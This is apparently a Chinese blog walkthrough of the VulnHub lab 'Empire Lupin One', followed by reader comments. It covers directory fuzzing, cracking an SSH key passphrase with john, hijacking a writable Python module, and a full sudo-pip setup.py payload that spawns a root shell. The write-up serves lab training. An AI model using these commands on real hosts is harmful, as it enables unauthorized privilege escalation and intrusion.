pip提权原理

在linux主机中,某个用户拥有pip的sudo权限,在这种情况下,可以利用pip install进行本地提权。
在执行pip install时会调用setup.py,可以在本地创建恶意setup.py文件来达到任意命令执行的效果。

环境搭建

攻击机kali ip:192.168.17.39

下载地址

https ://download.vulnhub.com/empire/01-Empire-Lupin-One.zip

虚拟机导入

这个靶机给了IP地址,减确定靶机目标地址的操作

nmap -A -p- 192.168.17.59

信息搜集

对于上述的robots.txt文件

这里提示的是继续尝试

目录扫描,22端口弱口令扫描都没内容,这种靶机考研字典的真的是吐了,使用的dirsearch

想到了利用默认字典,然而并没有什么卵用,这里也是在上述提示种提示使用工具进行fuzz

这种脑洞也是吐了,没什么操作难度,难为在工具之上

wfuzz -c -u 'http://192.168.17.59/~FUZZ/' -w /usr/share/wordlists/wfuzz/general/common.txt --hc 404

字母游戏么

还是爆破

然而还是没爆破出结果,这靶机太虎了,谷歌一下换个工具ffuf

ffuf -u 'http://192.168.17.59/~secret/.FUZZ' -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e .txt -mc 200

判断编码格式解码

根据提示就是私钥了,直接根据用户名私钥ssh登录

touch id_rsa

写入私钥,私钥登录

ssh -i id_rsa icex64@192.168.17.59

需要密码短语passphrase,这个时候又到了前面提示的字典文件fasttrack.txt去爆破

python /usr/share/john/ssh2john.py id_rsa >passwd.txt

将私钥id_rsa生成字典使用john去爆破

john --wordlist=/usr/share/wordlists/fasttrack.txt passwd.txt

ssh重新登录

ssh -i id_rsa icex64@192.168.17.59

成功登录,当前目录下有flag

cat user.txt

水平提权

sudo -l

arsene用户可以使用脚本无需密码登录,但是提权的时候报错

sudo -u arsene /usr/bin/python3.9 /home/arsene/heist.py

提示未准备好,查看该文件

因为python文件的模块都是目录存在,找到webbrowser模块

usr/lib/python3.9

查看文件权限

ls -l webbrowser

777·权限可做操作,vi编辑器可以使用,模块中写入shell

vi webbrowser

sudo -u arsene /usr/bin/python3.9 /home/arsene/heist.py

垂直提权

sudo -l

这里需要了解pip提权,pip在执行pip install的时候调用setup.py,将恶意脚本写入setup.py实现提权,参考

TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF

尝试了正向反向shell提权,就该环境而言只有正向shell能够成功。

结语

这个环境能够学习到的或者说是有价值的地方就是pip提权,脑洞的话涉及的也不多,但是这种靶机最忌讳的也就是扫描或者说是信息搜集的时候所依靠的字典和工具,另外对于ssh密钥登录的考点也是比较有意思。

    很棒很棒,每一天都可以学到很多东西

      希望师傅每天多一点分享

        学习到很多平时想不到的知识

          看师傅的文章能学到很多

            跟着大佬学,是不是意味着我也能成为大佬?幻想.jpg

              说点什么吧...